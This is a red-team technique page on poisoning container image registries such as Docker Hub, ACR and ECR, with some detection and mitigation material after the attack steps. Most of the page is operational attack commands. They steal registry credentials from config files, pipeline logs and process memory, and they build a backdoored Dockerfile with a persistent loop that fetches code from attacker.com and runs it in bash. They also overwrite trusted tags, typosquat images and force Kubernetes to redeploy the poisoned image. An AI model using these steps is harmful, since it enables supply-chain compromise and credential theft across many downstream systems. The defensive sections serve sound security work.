MCADDF

[SUPPLY-CHAIN-007]: Container Image Registry Abuse

Metadata

Attribute Details
Technique ID SUPPLY-CHAIN-007
MITRE ATT&CK v18.1 T1195.001 - Compromise Software Dependencies and Development Tools
Tactic Supply Chain Compromise
Platforms Entra ID/DevOps
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Docker Hub, Azure Container Registry (ACR), Amazon ECR, Google Artifact Registry, private registries (all versions)
Patched In Requires image signing, vulnerability scanning, and access controls
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: Container image registries (Docker Hub, Azure Container Registry, AWS ECR, Google Artifact Registry, private registries) serve as centralized distribution hubs for containerized applications. By compromising registry credentials or exploiting access control weaknesses, attackers can inject malicious code into container images, inject environment variables, add backdoor processes, or replace legitimate images with poisoned versions. When developers or CI/CD pipelines pull these images, they automatically execute attacker payload across all downstream systems—often with persistence and elevated privileges.

Attack Surface: Container registry access, image upload permissions, registry credentials stored in developers’ machines or CI/CD systems, unverified image pulls in pipelines.

Business Impact: Massive supply chain poisoning affecting thousands of container deployments. Malicious images can be pulled automatically by CI/CD pipelines, Kubernetes orchestrators, or developer workstations. Once deployed, backdoored containers run with the privileges of the container orchestration platform, enabling lateral movement, data exfiltration, cryptomining, or ransomware deployment across entire production environments.

Technical Context: Container image compromise persists until image is explicitly replaced or deleted. Malicious images can rack up millions of downloads (as seen in cryptomining campaigns on Docker Hub). Detection is difficult because container behavior often blends with legitimate workload patterns.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark v8.0 5.1 Ensure container registries are scanned for vulnerabilities
DISA STIG GD000360 Container image integrity must be verified before deployment
CISA SCuBA CM-5 Access controls and artifact signing required
NIST 800-53 SI-7 Software integrity verification and image signing
GDPR Art. 32 Integrity and confidentiality of software supply chain
DORA Art. 9 Operational resilience; third-party software risks
NIS2 Art. 21 Supply chain risk management and software provenance
ISO 27001 A.8.3.3 Segregation and integrity of development artifacts
ISO 27005 Risk Scenario Container registry compromise and image poisoning

2. CONTAINER IMAGE REGISTRY ATTACK SURFACE

Common Registry Vulnerabilities

Registry Type Common Vulnerabilities
Docker Hub (Public) Weak credentials, image overwrite (tag reuse), malicious image impersonation
Azure Container Registry (ACR) RBAC misconfiguration, anonymous access enabled, overprivileged service principals
Amazon ECR IAM policy bypass, overpermissive cross-account access, unencrypted images
Google Artifact Registry GCP IAM misconfiguration, workload identity abuse, unauthenticated access
Private Registries (Harbor, Nexus) Default credentials, unpatched registry software, exposed registry endpoints

3. DETAILED EXECUTION METHODS

METHOD 1: Credential Theft and Registry Takeover (Docker Hub / Azure ACR)

Supported Versions: Docker Hub (all versions), Azure ACR (all versions)

Step 1: Identify and Steal Registry Credentials

Objective: Locate stored registry credentials in developer environments or CI/CD systems.

Search for Docker Credentials on Local Machine:

# Check Docker config files
cat ~/.docker/config.json | jq '.' | grep -A5 "auths"

# Alternative locations
ls ~/.dockercfg
cat ~/.dockercfg 2>/dev/null

# Check if credentials are in plaintext (common misconfiguration)
grep -r "username\|password" ~/.docker/ ~/.config/ 2>/dev/null | head -20

Extract Credentials from CI/CD Pipeline:

# If attacker has access to pipeline logs/artifacts
# Many CI/CD systems expose credentials in environment variables during build

# Azure DevOps pipeline logs
az pipelines build log --build-id [BUILD_ID] | grep -i "docker\|registry\|credential"

# GitHub Actions
# Credentials often in logs if accidentally printed by developer
# Example: `echo $DOCKER_PASSWORD` in workflow would expose credentials

# GitLab CI/CD
# Check job artifacts and logs
gitlab-runner verify  # May leak credentials in verification output

Steal from Machine Memory:

# If you have access to machine running containers
# Docker stores auth tokens in memory

sudo strings /proc/[docker-daemon-pid]/environ | grep -i auth

# Or extract from Docker daemon process
ps aux | grep dockerd  # Find daemon PID
sudo cat /proc/[daemon-pid]/environ | strings | grep -E "AUTH|TOKEN|PASSWORD"

Step 2: Authenticate to Registry with Stolen Credentials

Objective: Gain write access to the registry.

Docker Hub Login:

docker login --username stolen-user --password stolen-password

# Verify authentication success
docker info  # Should show authenticated user

Azure Container Registry Login:

# Using stolen credentials
az acr login --name myregistry --username stolen-user --password stolen-password

# Alternatively, if you have stolen Azure AD token
az login --token stolen-token

# Verify access
az acr repository list --name myregistry

AWS ECR Access:

# With stolen AWS credentials
export AWS_ACCESS_KEY_ID=stolen-access-key
export AWS_SECRET_ACCESS_KEY=stolen-secret-key

# Authenticate Docker to ECR
aws ecr get-login-password --region us-east-1 | docker login --username AWS --password-stdin 123456789.dkr.ecr.us-east-1.amazonaws.com

# List repositories
aws ecr describe-repositories --region us-east-1

Step 3: Pull and Modify Legitimate Image

Objective: Inject backdoor into trusted image.

Pull Target Image:

# Pull legitimate image (e.g., popular Python image or organization's app)
docker pull myregistry.azurecr.io/myapp:latest

# Or pull from Docker Hub
docker pull python:3.9-slim

Create Malicious Dockerfile:

FROM myregistry.azurecr.io/myapp:latest

# Add backdoor user
RUN useradd -m -s /bin/bash attacker

# Add SSH backdoor
RUN apt-get update && apt-get install -y openssh-server
RUN echo "PermitRootLogin yes" >> /etc/ssh/sshd_config

# Add persistence script
RUN echo '#!/bin/bash' > /start-backdoor.sh && \
    echo 'while true; do' >> /start-backdoor.sh && \
    echo '  curl http://attacker.com/check | bash' >> /start-backdoor.sh && \
    echo '  sleep 300' >> /start-backdoor.sh && \
    echo 'done' >> /start-backdoor.sh && \
    chmod +x /start-backdoor.sh

# Add to entrypoint
RUN echo '/start-backdoor.sh &' >> /docker-entrypoint.sh

# Inject environment variables with credentials
ENV DATABASE_PASS="leaked_password"
ENV API_KEY="leaked_api_key"
ENV AWS_SECRET_ACCESS_KEY="leaked_aws_secret"

Build Poisoned Image:

docker build -t myregistry.azurecr.io/myapp:latest -f Dockerfile .

# Or inject into existing image with Docker layer manipulation
docker save myregistry.azurecr.io/myapp:latest | tar -xf - -O > layers.txt

# Modify layer content
# This requires detailed knowledge of Docker internals

Step 4: Push Poisoned Image to Registry

Objective: Replace legitimate image with backdoored version.

Push to Registry:

# Push with same tag (overwrites legitimate version)
docker push myregistry.azurecr.io/myapp:latest

# Tag as multiple versions to maximize adoption
docker tag myregistry.azurecr.io/myapp:latest myregistry.azurecr.io/myapp:v1.0.0
docker push myregistry.azurecr.io/myapp:v1.0.0

docker tag myregistry.azurecr.io/myapp:latest myregistry.azurecr.io/myapp:stable
docker push myregistry.azurecr.io/myapp:stable

Verify Push:

# Check image in registry
az acr repository show --name myregistry --image myapp:latest

# View image digest (to confirm different from legitimate)
docker inspect myregistry.azurecr.io/myapp:latest | jq '.RepoDigests'

Step 5: Trigger Automatic Pulls via CI/CD or Kubernetes

Objective: Cause downstream systems to pull poisoned image.

Kubernetes Automatic Pull:

Once image is poisoned in registry, any Kubernetes deployment using imagePullPolicy: Always will automatically pull the poisoned version:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: vulnerable-app
spec:
  template:
    spec:
      containers:
      - name: app
        image: myregistry.azurecr.io/myapp:latest
        imagePullPolicy: Always  # Automatically pulls poisoned image on every restart

CI/CD Pipeline Automatic Pull:

# Azure Pipelines
trigger:
  - main

jobs:
  - job: Build
    steps:
      - task: Docker@2
        inputs:
          containerRegistry: 'myRegistry'
          repository: 'myapp'
          command: 'pull'
          tags: 'latest'  # Pulls poisoned version

OpSec & Evasion:

References & Proofs:

METHOD 2: Image Overwrite Attack (Tag Reuse / Image Replacement)

Supported Versions: Docker Hub, all public registries

Step 1: Identify Frequently-Used Image Tags

Objective: Find popular images that are automatically pulled.

Research Docker Hub / Public Registries:

# List popular images in registry
curl -s https://hub.docker.com/v2/repositories/library/ | jq '.results[] | .name' | head -20

# Check image pull statistics
# (This varies by registry, Docker Hub doesn't expose exact stats via API)

# Alternative: Look for images in GitHub Workflows (public repos)
github-cli search repos --language dockerfile | grep -E "FROM python|FROM node|FROM ubuntu"

Identify Poorly-Maintained Images:

# Search for abandoned or infrequently-maintained images
docker search alpine | grep -i "alpine" | head -20

# Check image update frequency
# Images with old timestamps and many stars but infrequent updates are good targets

Step 2: Register Attacker Account and Push Poisoned Version

Objective: Push backdoored image with same name as popular image.

Typosquatting Attack:

# Instead of pulling: library/python:3.9
# Attacker creates: libraries/python:3.9  (with 's' at end)
# Or: python-official:3.9

# Or exploit misconfigured repositories
# Some organizations have multiple image repositories with similar names

# Register account and push
docker tag poisoned-image:latest docker.io/attacker-org/python:3.9
docker push docker.io/attacker-org/python:3.9

# Or register as official-sounding name
docker tag poisoned-image:latest docker.io/official-python-3-9:latest
docker push docker.io/official-python-3-9:latest

Reuse of Abandoned Repository:

# Some registries allow "reclaiming" abandoned repos
# If original maintainer's account is inactive, re-register with same name

# This is especially common in npm, PyPI, and gem repositories
# Docker Hub has similar issues with abandoned accounts

npm publish @attacker/popular-library  # If name is available

Step 3: Social Engineering for Distribution

Objective: Trick developers into using poisoned image.

Strategies:

Example:

# Documentation advertising poisoned image as "optimized official Python"
FROM python-optimized:3.9

# Better performance! Uses compiled dependencies!
# Recommended by community!

METHOD 3: Kubernetes ImagePullSecrets Abuse and RBAC Misconfiguration

Supported Versions: Kubernetes 1.18+, any container registry

Step 1: Exploit Overprivileged Service Accounts

Objective: Gain registry write access via Kubernetes RBAC.

Enumerate Service Accounts in Cluster:

# List service accounts in current namespace
kubectl get serviceaccounts

# Get service account token
kubectl describe serviceaccount default

# Check RBAC bindings
kubectl get rolebindings,clusterrolebindings -o wide | grep -i registry

Abuse Image Pull Secrets:

# Extract docker config secret from Kubernetes
kubectl get secret regcred -o jsonpath='{.data.\.dockercfg}' | base64 -d | jq '.'

# Extract from imagePullSecrets in pod spec
kubectl get pod [pod-name] -o jsonpath='{.spec.imagePullSecrets}'

Step 2: Use Stolen Credentials to Push Poisoned Image

# Authenticate with stolen secret
docker login -u $(echo -n creds | jq -r '.auths[].username') \
  -p $(echo -n creds | jq -r '.auths[].auth' | base64 -d | cut -d: -f2) \
  [registry-url]

# Push poisoned image
docker push [registry]/[poisoned-image]

Step 3: Trigger Redeployment with Poisoned Image

Objective: Force Kubernetes to pull new poisoned version.

Force Pod Restart:

# Trigger rolling restart (pulls latest image)
kubectl rollout restart deployment myapp

# Or update pod to force image pull
kubectl patch deployment myapp -p '{"spec":{"template":{"metadata":{"annotations":{"restartedAt":"'$(date +%s)'"}}}}}' 

# Or delete pods to trigger redeployment
kubectl delete pod -l app=myapp  # Deployment will recreate with poisoned image

4. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:

    # Immediately revoke registry credentials
    az acr credential delete --name myregistry --username stolen-user
       
    # Or regenerate registry password
    az acr credential show --name myregistry | jq '.passwords[0]' \
      | xargs az acr credential rotate --name myregistry --password-name password --no-wait
       
    # Stop all running pods using poisoned image
    kubectl delete deployment [deployment-using-poisoned-image]
    
  2. Collect Evidence:

    # Export registry logs
    az acr log list --name myregistry > /tmp/registry_logs.json
       
    # Export image metadata
    az acr manifest show-metadata --name myregistry --repository myapp --manifest latest > /tmp/image_metadata.json
       
    # Capture container images running on nodes
    for node in $(kubectl get nodes -o jsonpath='{.items[*].metadata.name}'); do
      kubectl debug node/$node -it --image=ubuntu -- chroot /host crictl images
    done > /tmp/running_images.txt
       
    # Export Kubernetes audit logs
    kubectl logs -n kube-system -l component=kube-apiserver | grep -i image > /tmp/k8s_image_pulls.log
    
  3. Remediate:

    # Delete poisoned image from registry
    az acr repository delete --name myregistry --repository myapp
       
    # Re-push clean version from verified source
    docker pull [verified-registry]/myapp:v1.0.0-clean
    docker tag [verified-registry]/myapp:v1.0.0-clean myregistry.azurecr.io/myapp:latest
    docker push myregistry.azurecr.io/myapp:latest
       
    # Restart all deployments with verified image
    kubectl set image deployment/myapp myapp=myregistry.azurecr.io/myapp:latest --record
    kubectl rollout restart deployment/myapp
       
    # Scan all nodes for signs of compromise
    for node in $(kubectl get nodes -o jsonpath='{.items[*].metadata.name}'); do
      kubectl debug node/$node -it --image=ubuntu -- chroot /host \
        bash -c "find / -name 'backdoor*' -o -name '*.sh' -mtime -1 2>/dev/null"
    done
    

5. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Verify all images are signed
for image in $(kubectl get pods -o jsonpath='{.items[*].spec.containers[*].image}'); do
  notation verify $image || echo "UNSIGNED: $image"
done

# Verify image pull secrets are rotated
kubectl get secret -o json | jq '.items[] | select(.type=="kubernetes.io/dockercfg") | .metadata.name'

# Verify vulnerability scanning is enabled
az acr config content-trust show --registry myregistry  # Should show "enabled"

# Verify registry has no anonymous access
az acr show --name myregistry | jq '.adminUserEnabled'  # Should be false

Step Phase Technique Description
1 Initial Access [IA-EXPLOIT-001] Azure Application Proxy Exploitation Attacker gains initial foothold
2 Credential Access [CA-TOKEN-014] Container Registry Token Theft Attacker steals registry credentials
3 Supply Chain [SUPPLY-CHAIN-007] Attacker poisons container images in registry
4 Deployment [SUPPLY-CHAIN-008] Helm Chart Poisoning Poisoned Helm charts deploy poisoned containers
5 Impact [IMPACT-RANSOM-001] Ransomware via Containers Malicious containers execute ransomware at scale

7. REAL-WORLD EXAMPLES

Example 1: Docker Hub Cryptomining Campaign (2020-2024)

Example 2: DockerHub Official Image Impersonation (2021)

Example 3: AWS ECR Lateral Movement Attack (2022)